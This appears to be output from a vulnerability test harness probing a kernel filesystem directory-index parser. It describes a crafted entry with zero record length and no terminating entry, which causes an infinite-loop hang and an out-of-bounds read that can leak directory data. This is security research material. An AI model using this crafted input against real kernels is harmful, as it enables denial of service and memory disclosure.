=== DF-0874 harness ===
f_dirblbuf         = 4096 bytes (kmalloc)
INDEX_ROOT rdsize = 122 bytes (valid data)
evil entry[0]     : reclen=0x0000 ie_flag=0 (NOT LAST)
terminal LAST     : ABSENT (crafted)
residue [122..4096)  : 0xdeadc0de (INVARIANTS poison)

[subr.c:1176 BOUNDED walk] find entry 0:
  walked to off=32 (rdsize=122): IN-BOUNDS (safe)
  returned @ off 32: ie_number=0x41414141 reclen=0x0000 ie_flag=0x00000000

[vnops.c:585 UNBOUNDED walk] from returned entry:
  [vnops] reclen==0 at off=32 -> kernel infinite-loop hang (DoS)
  steps=1  max_off=32 (bufsz=4096, rdsize=122)  oob_derefs=0
  => walk terminated at off=32 (residue byte at ie_flag acted as LAST). The OOB deref of ie_flag STILL occurred (read residue at rdbuf+44). On a non-INVARIANTS kernel (zeros) the walk continues and leaks ie_number/ie_fname.